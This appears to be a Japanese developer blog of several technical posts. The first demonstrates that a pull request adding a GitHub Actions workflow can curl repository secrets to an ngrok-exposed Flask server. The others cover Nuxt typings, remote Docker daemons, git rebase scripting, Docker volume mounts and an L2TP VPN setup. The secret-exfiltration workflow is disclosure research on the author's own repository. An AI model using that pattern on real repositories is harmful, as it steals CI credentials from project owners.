GitHub Actions + PullRequest を使って、第三者が GitHub Secrets を取得できる脆弱性
アイデアとしては、
この記事で何を検証したいかというと、
- 第三者が Repository 内の GitHub Actions を修正した PullRequest を作成したら、任意のコードを実行できる。
- Repository 管理者は、GitHub Secrets を使って、AWS のクレデンシャルなどを
${{ secrets.AWS_SECRET_ACCESS_KEY }}
として、コードに含まれないようにしている。 curl -X POST http://some_url -F "secret=${{ secrets.AWS_SECRET_ACCESS_KEY }}"
の様なコードを潜り込ませたら、secrets を取得できるのではないか?
結果として、
取得できた。
検証
下準備
まず、空の Repository を作る。
[Repository] - [Settings] - [Actions secrets] から適当な GitHub Secrets を設定する。
echo
を使ってみる
ここから、まず、echo
を使って、GitHub Secrets が見えないか検証してみる。
適当に clone して、echo を使った GitHub Actions を追加して、push する。
$ ghq get git@github.com:suecharo/github_secret_test.git $ cd git/github.com/suecharo/github_secret_test $ pwd /Users/suecharo/git/github.com/suecharo/github_secret_test $ mkdir -p .github/workflows $ touch .github/workflows/echo_secret.yml
.github/workflows/echo_secret.yml
name: echo_secret on: [push, pull_request] jobs: echo: runs-on: ubuntu-latest steps: - name: Echo secret run: | echo "${{ secrets.TEST_SECRET }}"
$ git add . $ git commit -m "Add echo secret" [master (root-commit) 04f8c48] Add echo secret 1 file changed, 9 insertions(+) create mode 100644 .github/echo_secret/workflow.yml $ git push Enumerating objects: 5, done. Counting objects: 100% (5/5), done. Delta compression using up to 8 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (5/5), 432 bytes | 432.00 KiB/s, done. Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 To ssh://github.com/suecharo/github_secret_test.git - [new branch] master -> master
この状態で、GitHub Actions を見に行くと、
流石に ***
として、見えないようになっている。
curl
を使ってみる
次に、curl
を使って外に POST
して、GitHub Secrets が見えないか検証してみる。
適当に Flask サーバを立てて、ngrok
を使って、グローバルに露出させる。
app.py
# coding: utf-8 from flask import Flask, request, jsonify app = Flask(__name__) @app.route("/test", methods=["POST"]) def post_test_secret(): print(request.form["secret"]) return jsonify({ "status": "OK", "secret": request.form["secret"] }) if __name__ == "__main__": app.run()
$ python3 app.py python3 app.py * Serving Flask app "app" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) $ ngrok http 5000 ngrok by @inconshreveable Session Status online Session Expires 1 hour, 33 minutes Version 2.3.35 Region United States (us) Web Interface http://127.0.0.1:4040 Forwarding http://3f08dbe32e1d.ngrok.io -> http://localhost:5000 Forwarding https://3f08dbe32e1d.ngrok.io -> http://localhost:5000 Connections ttl opn rt1 rt5 p50 p90 3 0 0.00 0.00 0.01 0.01
この状態で、curl
を使って、疎通ができるか確認する。
$ curl http://3f08dbe32e1d.ngrok.io/test -F "secret=test_secret" {"secret":"test_secret","status":"OK"}
出来た。
次に、Repository に対して、下の GitHub Workflow を追加した PullRequest を作成する。
curl_securet.yml
name: curl secret on: [push, pull_request] jobs: echo: runs-on: ubuntu-latest steps: - name: Curl secret run: | curl http://3f08dbe32e1d.ngrok.io/test -F "secret=${{ secrets.TEST_SECRET }}"
その後、PullRequest の GitHub Actions を確認すると、
動いてる。
GitHub Actions のページ上では、***
として request params も response もマスキングされているが、
Local に立てた Flask Server には、GitHub Secrets が送られてきている。
結論
Typescript - Nuxt.js Auth module における型エラーの修正
何が起こったか
Nuxt.js + Typescript 環境で、Nuxt.js - Auth Module を使おうとしたら、怒られた。
ERROR ERROR in /app/src/pages/index.vue(55,12): nuxt:typescript 10:27:56 55:12 Property '$auth' does not exist on type 'CombinedVueInstance<Vue, unknown, { loginWithGitHub(): void; }, unknown, Readonly<Record<never, any>>>'. 53 | methods: { 54 | loginWithGitHub() { > 55 | this.$auth.loginWith('github') | ^ 56 | } 57 | } 58 | })
何をしたか
型定義ファイルが足らないのかなと思い、追加した。
$ yarn add -D @types/nuxtjs__auth
また、tsconfig.json
に追記。
{ "compilerOptions": { ... "types": [ "@types/nuxtjs__auth" ] }, ... }
で?
error が消えなかった。
なので、npm - @types/nuxtjs__auth の Document を見に行くと、下記の記述があった。
Dependencies: @types/vue
最終的にどうしたか
@types/vue
を追加した。
$ yarn add -D @types/vue
tsconfig.json
への追記はなし。
-> なぜなら、@types/vue
は、deprecated で必要なくなっているから。npm - @types/vue
-> でも、@types/nuxtjs__auth
を使うためには、明示的に入れないといけなかったみたい。
結論
Typescript 何もわからん。
Remote Docker Daemon + VSCode Remote Container
tl;dr
- socket とか tcp port で Remote で docker daemon を叩く際の諸々を実際にやってみる
- Remote Server に対して、VSCode Remote Container をしたかったから、した
Host -> Remote Server -> Container
Environment
Remote Docker Daemon
Docker Daemon は起動時に -H
Option を指定することで、好きな Unix Socket や TCP Port で listen することが出来る
Example:
# default $ docker daemon -H /var/run/docker.sock & # TCP で待ち受ける $ docker daemon -H 0.0.0.0:5555 & $ docker daemon -H 127.0.0.1:5555 & # 両方で待ち受けることも出来る $ docker daemon -H /var/run/docker.sock -H 127.0.0.1:5555 &
ちなみに Ubuntu 16.04 の Default は以下の様になっている
$ systemctl status docker ● docker.service - Docker Application Container Engine Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2020-01-31 10:51:01 JST; 2 weeks 3 days ago Docs: https://docs.docker.com Main PID: 1054 (dockerd) Tasks: 20 Memory: 1.2G CPU: 30min 52.756s CGroup: /system.slice/docker.service └─1054 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
これに対して Docker Client においても、-H
Option でどの Docker Daemon に接続するか指定することが出来る
$ docker -H /var/run/docker.sock --version $ docker -H tcp://127.0.0.1:5555 --version
そのため、TCP Port を外部に露出したり ssh PortForward を使うことで、Remote Server の Docker Daemon に Local から接続することが出来る
$ ssh -NL localhost:5555:/var/run/docker.sock user@host & $ docker -H localhost:5555 --version Docker version 19.03.5, build 633a0ea
VSCode Remote Container
Remote の Docker Daemon を触れる状態で、VSCode settings.json
にて DockerHost を指定する
$ ssh -NL localhost:5555:/var/run/docker.sock user@host &
[Command] + P
でコマンドパレットを起動し、settings
と打ち込んで settings.json
を開く
"docker.host": "tcp://localhost:5555"
などと追記し、VSCode を再起動する
出来た。
Git Rebase -i を一気にやる
tl;dr;
- リポジトリ自体が 1GB を超えてきて、clone に時間がかかるようになってきた
- まとめたいが、Contributor はなるべくそのままにしたい
git rebase -i
のpick -> squash
作業がとてもきつい- なるべく、Contributor 単位でまとめたい
実作業
コミットログを Contributor 付きで Dump する
$ git log --pretty=format:"%h %an : %s" > ~/tmp/commit.log $ head ~/tmp/commit.log 7b7c295 Hirotaka Suetake : Merge pull request #36 from pitagora-network/feature/license 52b4763 suecharo : Update Apache2.0 license using raw text 2c11e0d suecharo : Add LICENSE 6341c48 Tazro Inutano Ohta : Merge pull request #35 from pitagora-network/animal-genome-assembly-test 4d3c63d Tazro Inutano Ohta : Merge pull request #31 from tom-tan/feature/fix-disease-genome a25f049 Tazro Inutano Ohta : animal genome assembly test passing 5f04608 Tazro Inutano Ohta : Merge pull request #34 from pitagora-network/fix-readme 1ec5627 Tazro Inutano Ohta : fix typo and wrong github accounts, add CWL intro and troubleshooting 6ed7c50 Tazro Inutano Ohta : Merge pull request #33 from pitagora-network/update-readme 719434f Tazro Inutano Ohta : update test status
最初の commit id を取る
$ tail -n 1 ~/tmp/commit.log 5400760 suecharo : Initial commit
`git rebase -i <first_commit_id> で rebase shell を立ち上げる
rebase shell 立ち上げたまま、中身を rebase.log
として保存する
$ head ~/tmp/rebase.log pick c76d3ff Add CWLs for the tools used in disease-genome pick 65558cd Rename tool/curl to tool/wget pick d1ce99c Imelement tool/wget pick bfcc2e2 Add test for wget pick 52215c3 Rename output object of wget from `output` to `downloaded` pick b47bf00 Implement tool/tar pick 6ae2c50 Minor fix for tar pick 530f806 Remove {tar,wget}.sh pick 02ba06c Implement tool/cat pick bf115d2 Implement tool/gunzip
自作の Python スクリプトで pick の部分を squash に書き換える
# coding: utf-8 from pathlib import Path def main(): rebase_log = Path("~/tmp/rebase.log") commit_log = Path("~/tmp/commit.log") with rebase_log.open(mode="r") as f_r, commit_log.open(mode="r") as f_c: rebase = [] # [command, commit_id, commit_message] for row in f_r.read().splitlines(): if row == "" or row.startswith("#"): continue ele = row.split(" ") l_row = [ele[0], ele[1], " ".join(ele[2:])] rebase.append(l_row) commit = dict() # commit_id: commiter_name for row in f_c.read().splitlines(): if row == "": continue ele = row.split(":")[0].strip().split(" ") commit[ele[0]] = " ".join(ele[1:]) now_commiter = None for i in range(len(rebase)): commit_id = rebase[i][1] commiter = commit.get(commit_id, None) if now_commiter is None: rebase[i][0] = "pick" else: if commiter is None: rebase[i][0] = "pick" else: if now_commiter == commiter: rebase[i][0] = "squash" else: rebase[i][0] = "pick" now_commiter = commiter new_rebase_log = Path("~/tmp/new_rebase.log") with new_rebase_log.open(mode="w") as f: f.write("\n".join([" ".join(row) for row in rebase])) if __name__ == "__main__": main()
$ python3 rebase.py $ head ~/tmp/new_rebase.log pick c76d3ff Add CWLs for the tools used in disease-genome squash 65558cd Rename tool/curl to tool/wget squash d1ce99c Imelement tool/wget squash bfcc2e2 Add test for wget squash 52215c3 Rename output object of wget from `output` to `downloaded` squash b47bf00 Implement tool/tar squash 6ae2c50 Minor fix for tar squash 530f806 Remove {tar,wget}.sh squash 02ba06c Implement tool/cat squash bf115d2 Implement tool/gunzip
出力された ~/tmpnew_rebase.log
を立ち上げたままの、rebase shell に貼る
rebase していく
docker run `-v` Option の挙動
tl;dr
Environment
- Ubuntu: 16.04
- Docker: 18.09.1
- docker-compose: 1.23.1
$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.5 LTS Release: 16.04 Codename: xenial $ docker --version Docker version 18.09.1, build 4c52b90 $ which docker /usr/bin/docker $ docker-compose -v docker-compose version 1.23.1, build b02f1306
やってみる
File が存在しない場合
$ ls -l $ docker run -it --rm \ -v test_file.txt:$PWD/test_file.txt \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 06:49 test_file.txt # exit $ ls -l
コンテナ内では Dir が mount されており、Permission は Root User。
Host に戻ると、存在しない。
Docker volume を確認すると named volume が生成されている。
$ docker volume ls DRIVER VOLUME NAME local test_file.txt
絶対パスで実行してみると、
$ ls -l $ docker run -it --rm \ -v $PWD/test_file.txt:$PWD/test_file.txt \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 07:19 test_file.txt # exit $ ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 16:19 test_file.txt
Dir が生成されて mount される。Permission は Root User。Host 側にも生成されている。
ココらへんの挙動の理由としては、GitHub - moby/issue - 4830 にまとめられてある。
There are 2 types of volumes in Docker: "bind mount" and "managed".
Bind mount volume syntax:
-v
<host_abs_path>:<abs_path_mount_point>
= bind mount volume. You provide absolute path of location on host system and where it should be mounted in the container. Use it when you want to share something from the host system into the container; downside is it creates a dependency of the container on the host it runs on.Managed volume syntax:
-v
<abs_path_mount_point>
= unnamed managed volume. Docker will create a volume on the host system at a location owned by the docker daemon and mount it in the container at abs_path_mount_point. To find out where docker created the volume on host: docker inspect -f "{{.Mounts}}" ContainerName.-v
<name>:<abs_path_mount_point>
= named managed volume. Same as previous, only instead of volume being assigned a hash, you can provide it with a meaningful name.
named managed volume の syntax とぶつかるため、host_abs_path
しか想定していないらしい。
This is because of named volumes... the syntax has just gotten to overloaded and on top of that auto-creation of volumes makes it impossible to know user intent. docker service create already has a new syntax (--mount) that's a lot more precise and can catch these kinds of things early. We'll be bringing that to docker run soon.
今後、mount のために --mount
という新しい syntax を追加する予定だとのこと。
File が存在する場合
$ touch test_file.txt $ ls -l total 0 -rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 15:55 test_file.txt $ docker run -it --rm \ -v test_file.txt:$PWD/test_file.txt \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 07:27 test_file.txt # exit $ ls -l total 0 -rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 16:27 test_file.txt $ docker volume ls DRIVER VOLUME NAME local test_file.txt
named volume が生成されて、コンテナ側に mount されている。
Host に戻ると、File がそのまま残っている。
絶対パスで実行してみると、
$ touch test_file.txt $ ls -l total 0 -rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 15:55 test_file.txt $ docker run -it --rm \ -v $PWD/test_file.txt:$PWD/test_file.txt \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 0 -rw-rw-r-- 1 1000 1000 0 Jul 21 06:58 test_file.txt # exit $ ls -l total 0 -rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 06:58 test_file.txt
一般ユーザの Permission のまま mount されている。
Dir が存在しない場合
$ ls -l $ docker run -it --rm \ -v test_dir:$PWD/test_dir \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 07:31 test_dir # exit $ ls -l total 0 $ docker volume ls DRIVER VOLUME NAME local test_dir
named volume が生成されて、コンテナ側に mount されている。
Host に戻ると、何も存在しない。
絶対パスで実行してみると、
$ ls -l $ docker run -it --rm \ -v $PWD/test_dir:$PWD/test_dir \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 07:33 test_dir # exit $ ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 16:33 test_dir
Dir が生成されて mount される。Permission は Root User。Host 側にも生成されている。
Dir が存在する場合
$ mkdir test_dir $ ls -l total 4 drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:37 test_dir $ docker run -it --rm \ -v test_dir:$PWD/test_dir \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l total 4 drwxr-xr-x 2 root root 4096 Jul 21 07:37 test_dir # touch test_dir/test_file # exit $ ls -l total 4 drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:37 test_dir $ ls test_dir $ docker volume ls DRIVER VOLUME NAME local test_dir
named volume が生成され mount されている。
Host 側は変更なし、
絶対パスで実行してみると、
$ mkdir test_dir $ ls -l total 4 drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:37 test_dir $ docker run -it --rm \ -v $PWD/test_dir:$PWD/test_dir \ --workdir=$PWD \ ubuntu:18.04 bash # ls -l drwxrwxr-x 2 1000 1000 4096 Jul 21 07:39 test_dir # touch test_dir/test_file # exit $ ls -l total 4 drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:40 test_dir $ ls -l test_dir/ total 0 -rw-r--r-- 1 root root 0 Jul 21 16:40 test_file $ docker volume ls DRIVER VOLUME NAME
Host 側の Dir がそのまま mount されている。
結果
まとめると下記の通り、
Type | Exist | Path | Result |
---|---|---|---|
File | 存在しない | 相対 | named volume が生成されて mount される |
File | 存在しない | 絶対 | Root Permission の Dir が生成されて mount される |
File | 存在する | 相対 | named volume が生成されて mount され、Host 側の File は変更なし |
File | 存在する | 絶対 | Host 側の File がそのままの Permission で mount される |
Dir | 存在しない | 相対 | named volume が生成されて mount される |
Dir | 存在しない | 絶対 | Root Permission の Dir が生成されて mount される |
Dir | 存在する | 相対 | named volume が生成されて mount され、Host 側の Dir は変更なし |
Dir | 存在する | 絶対 | Host 側の Dir がそのままの Permission で mount される |
- 相対 path で指定すると、named volume が生成されて mount される。Host 側は変更なし
- File や Dir が存在しない場合は、Root Permission の Dir が生成されて、mount される
- 絶対 path で指定し、File や Dir が存在する場合は、Host 側の Permission で mount される
一般ユーザでの Docker 横付け (Sibling)
tl;dr
- 一般ユーザで Docker 横付け (Sibling) をする
- 意外と詰まった
- group を Host の docker group にする
Environment
- Ubuntu: 16.04
- Docker: 18.09.1
- docker-compose: 1.23.1
$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.5 LTS Release: 16.04 Codename: xenial $ docker --version Docker version 18.09.1, build 4c52b90 $ which docker /usr/bin/docker $ docker-compose -v docker-compose version 1.23.1, build b02f1306
やってみる
まず、root user, root group で実行してみる。
$ docker run -it --rm \ -v /usr/bin/docker:/usr/bin/docker \ -v /var/lib/docker:/var/lib/docker \ -v /var/run/docker.sock:/var/run/docker.sock \ ubuntu:18.04 bash # id uid=0(root) gid=0(root) groups=0(root) # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 5fdc5e064a46 ubuntu:18.04 "bash" About a minute ago Up About a minute cranky_proskuriakova # docker run --rm hello-world Hello from Docker!
コンテナの中から Host の docker を触ることができ、実行もできる。
次に、一般 user, 一般 group で実行してみる。
$ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),999(docker) $ docker run -it --rm \ -v /usr/bin/docker:/usr/bin/docker \ -v /var/lib/docker:/var/lib/docker \ -v /var/run/docker.sock:/var/run/docker.sock \ -u 1000:1000 \ ubuntu:18.04 bash # id uid=1000 gid=1000 groups=1000 # docker ps Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/json: dial unix /var/run/docker.sock: connect: permission denied # docker run --rm hello-world docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/create: dial unix /var/run/docker.sock: connect: permission denied.
怒られる。
# cat /etc/group | grep docker # ls -l /var/run/docker.sock srw-rw---- 1 root 999 0 Jul 21 05:32 /var/run/docker.sock
コンテナ内には docker group が存在していないが、mount された docker.sock
の permission 的に、root user もしくは docker group に所属していなければならない。
次に、一般 user, Host Docker group で実行してみる。
$ cat /etc/group | grep docker docker:x:999:ubuntu $ docker run -it --rm \ -v /usr/bin/docker:/usr/bin/docker \ -v /var/lib/docker:/var/lib/docker \ -v /var/run/docker.sock:/var/run/docker.sock \ -u 1000:999 \ ubuntu:18.04 bash # id uid=1000 gid=999 groups=999 # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES a9e458b9c54d ubuntu:18.04 "bash" 23 seconds ago Up 22 seconds clever_tu # docker run --rm hello-world Hello from Docker!
出来た。
最後に、コンテナ内に GID=999 以外の docker group を作成し、一般 user, 一般 group で実行してみる。
$ cat << EOS > Dockerfile > FROM ubuntu:18.04 > RUN groupadd -g 9999 docker > EOS $ docker build -t docker-test . $ docker run -it --rm \ -v /usr/bin/docker:/usr/bin/docker \ -v /var/lib/docker:/var/lib/docker \ -v /var/run/docker.sock:/var/run/docker.sock \ -u 1000:9999 \ docker-test bash I have no name!@9ade8817d235:/$ id uid=1000 gid=9999(docker) groups=9999(docker) I have no name!@9ade8817d235:/$ cat /etc/group | grep docker docker:x:9999: # docker ps Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/json: dial unix /var/run/docker.sock: connect: permission denied # docker run --rm hello-world docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/create: dial unix /var/run/docker.sock: connect: permission denied.
実行できない。
# cat /etc/group | grep docker docker:x:9999: # ls -l /var/run/docker.sock srw-rw---- 1 root 999 0 Jul 21 05:32 /var/run/docker.sock
mount された socket のパーミッションは Host のものが引き継がれるため、コンテナ内の docker group に所属していても実行することが出来ない。
結論として
一般ユーザでの Docker 横付け (Sibling) をしたい場合は、Host の docker group で実行する。
docker-compose でやりたい場合は、下記の通り。
version: "3" services: app: image: ubuntu:18.04 volumes: - /usr/bin/docker:/usr/bin/docker - /var/lib/docker:/var/lib/docker - /var/run/docker.sock:/var/run/docker.sock user: ${UID:-0}:999
Ubuntu Server 18.04 で L2TP/IPsec の VPN 接続
Environment
$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic
IPsec, L2TP Client の Install
$ apt update $ apt install -y strongswan xl2tpd
環境変数の設定
$ export VPN_SERVER_IP='xxx.xxx.xxx.xxx' $ export VPN_IPSEC_PSK='xxx' $ export VPN_USER='xxx' $ export VPN_PASSWORD='xxx'
ike-scan でプロトコルを決定する
$ apt install -y ike-scan $ service strongswan stop $ service xl2tpd stop $ ike-scan $VPN_SERVER_IP ... SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) ...
この場合、 ike=3des-sha1-modp1024
, esp=3des-sha1
である。
SA=(Enc=AES KeyLength=256 Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
などと表示が出た場合は、ike=aes-sha1-modp1024
, esp=aes-sha1
である。
Configure StrongSwan
/etc/ipsec.conf
の ike
, esp
の部分は上で調べたプロトコルに変更する。
$ export IKE='3des-sha1-modp1024' $ export ESP='3des-sha1'
$ cat << EOF > /etc/ipsec.conf config setup conn %default ikelifetime=60m keylife=20m rekeymargin=3m keyingtries=1 keyexchange=ikev1 authby=secret conn myvpn ike=${IKE}! esp=${ESP}! keyexchange=ikev1 auto=add authby=secret type=transport left=%defaultroute leftprotoport=17/1701 rightprotoport=17/1701 right=$VPN_SERVER_IP EOF $ cat << EOF > /etc/ipsec.secrets : PSK "$VPN_IPSEC_PSK" EOF $ chmod 600 /etc/ipsec.secrets
Configure xl2tpd
$ cat << EOF > /etc/xl2tpd/xl2tpd.conf [lac myvpn] lns = $VPN_SERVER_IP ppp debug = yes pppoptfile = /etc/ppp/options.l2tpd.client length bit = yes EOF $ cat << EOF > /etc/ppp/options.l2tpd.client ipcp-accept-local ipcp-accept-remote refuse-eap require-chap noccp noauth mtu 1280 mru 1280 noipdefault defaultroute usepeerdns connect-delay 5000 name $VPN_USER password $VPN_PASSWORD EOF $ chmod 600 /etc/ppp/options.l2tpd.client $ mkdir -p /var/run/xl2tpd $ touch /var/run/xl2tpd/l2tp-control
起動
Service 起動
$ service strongswan start $ service strongswan status ● strongswan.service - strongSwan IPsec IKEv1/IKEv2 daemon using ipsec.conf Loaded: loaded (/lib/systemd/system/strongswan.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2019-06-28 07:28:40 UTC; 3s ago Main PID: 32397 (starter) Tasks: 18 (limit: 4915) CGroup: /system.slice/strongswan.service ├─32397 /usr/lib/ipsec/starter --daemon charon --nofork └─32423 /usr/lib/ipsec/charon $ service xl2tpd start $ service xl2tpd status ● xl2tpd.service - LSB: layer 2 tunelling protocol daemon Loaded: loaded (/etc/init.d/xl2tpd; generated) Active: active (running) since Fri 2019-06-28 07:30:00 UTC; 3s ago Docs: man:systemd-sysv-generator(8) Process: 32455 ExecStop=/etc/init.d/xl2tpd stop (code=exited, status=0/SUCCESS) Process: 32460 ExecStart=/etc/init.d/xl2tpd start (code=exited, status=0/SUCCESS) Tasks: 1 (limit: 4915) CGroup: /system.slice/xl2tpd.service └─32474 /usr/sbin/xl2tpd
接続
$ ipsec up myvpn ... connection 'myvpn' established successfully $ echo "c myvpn" > /var/run/xl2tpd/l2tp-control $ route add $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "` $ route add default dev ppp0
接続できたかは以下で確認する
$ wget -qO- http://ipv4.icanhazip.com
名前解決が出来ない場合は、内部 DNS server を更新する
$ systemctl restart systemd-resolved
切断
$ route del default dev ppp0 $ route del $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "` $ echo "d myvpn" > /var/run/xl2tpd/l2tp-control $ ipsec down myvpn
スクリプト化
$ cat << 'EOF' > start-vpn.sh #!/bin/bash VPN_SERVER_IP='xxx.xxx.xxx.xxx' ipsec up myvpn echo "c myvpn" > /var/run/xl2tpd/l2tp-control route add $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "` route add default dev ppp0 EOF $ cat << 'EOF' > down-vpn.sh #!/bin/bash VPN_SERVER_IP='xxx.xxx.xxx.xxx' route del default dev ppp0 route del $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "` echo "d myvpn" > /var/run/xl2tpd/l2tp-control ipsec down myvpn EOF $ chmod +x start-vpn.sh $ chmod +x down-vpn.sh